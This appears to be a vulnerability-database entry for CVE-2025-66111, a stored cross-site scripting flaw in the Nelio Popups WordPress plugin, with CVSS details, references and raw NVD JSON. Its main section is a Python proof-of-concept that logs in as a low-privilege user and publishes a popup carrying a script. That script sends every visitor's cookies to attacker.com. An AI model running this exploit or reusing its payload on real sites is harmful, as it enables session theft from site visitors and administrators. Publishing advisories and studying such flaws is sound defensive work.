CVE-2025-66111

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nelio Software Nelio Popups nelio-popups allows Stored XSS.This issue affects Nelio Popups: from n/a through <= 1.3.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Nelio Popups <= 1.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import re

# Target WordPress site
target_url = "http://target-wordpress-site.com"
# Nelio Popups plugin endpoint
plugin_url = f"{target_url}/wp-json/nelio-popups/v1/popups"

# XSS Payload - Cookie stealing example
xss_payload = '''<script>
var img = new Image();
img.src = "https://attacker.com/log?c=" + encodeURIComponent(document.cookie);
</script>'''

# Authentication (low privilege user like subscriber)
# Login to WordPress and get nonces
session = requests.Session()
login_data = {
    'log': 'attacker_username',
    'pwd': 'attacker_password'
}

# Login
login_url = f"{target_url}/wp-login.php"
resp = session.post(login_url, data=login_data)

# Get WordPress nonce for REST API
nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=rest-nonce"
resp = session.get(nonce_url)
nonce = resp.text

# Create malicious popup with XSS payload
popup_data = {
    'title': 'Malicious Popup',
    'content': xss_payload,
    'status': 'publish',
    '_wpnonce': nonce
}

# Send request to create popup
headers = {
    'Content-Type': 'application/json',
    'X-WP-Nonce': nonce
}
resp = session.post(plugin_url, json=popup_data, headers=headers)

print(f"Popup created with status: {resp.status_code}")
print("Payload will execute when users visit pages with this popup.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66111
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66111
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66111/
[4] VulDB https://vuldb.com/cve/CVE-2025-66111
[5] https://patchstack.com/database/Wordpress/Plugin/nelio-popups/vulnerability/wordpress-nelio-popups-plugin-1-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66111", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:52.840", "lastModified": "2026-04-27T18:16:36.363", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nelio Software Nelio Popups nelio-popups allows Stored XSS.This issue affects Nelio Popups: from n/a through <= 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nelio-popups/vulnerability/wordpress-nelio-popups-plugin-1-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}